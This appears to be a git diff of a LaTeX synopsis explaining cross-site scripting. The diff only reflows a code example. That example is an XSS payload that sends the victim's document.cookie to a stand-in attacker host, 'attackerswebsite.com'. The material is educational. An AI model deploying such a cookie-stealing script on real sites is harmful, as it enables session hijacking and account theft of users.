diff options
| -rw-r--r-- | synopsis.pdf | bin | 165241 -> 165117 bytes | |||
| -rw-r--r-- | synopsis.tex | 27 |
2 files changed, 13 insertions, 14 deletions
diff --git a/synopsis.pdf b/synopsis.pdf Binary files differindex 6b34d2b..fa25de5 100644 --- a/synopsis.pdf +++ b/synopsis.pdf diff --git a/synopsis.tex b/synopsis.tex index 26814cb..b03774b 100644 --- a/synopsis.tex +++ b/synopsis.tex @@ -440,8 +440,8 @@ vulnerability is present, it will not be displayed on the page, but it will be executed. It could be simple like: \begin{minted}{html} -<script>document.createElement('img').src = 'http://attackerswebsite.com/' + -document.cookie</script> +<script>document.createElement('img').src = + 'http://attackerswebsite.com/' + document.cookie</script> \end{minted} This script would create an HTTP request to attacker's website with the victim's @@ -453,8 +453,7 @@ possible to include much bigger scripts with: \end{minted} The reflected attack works by reflecting the injected code |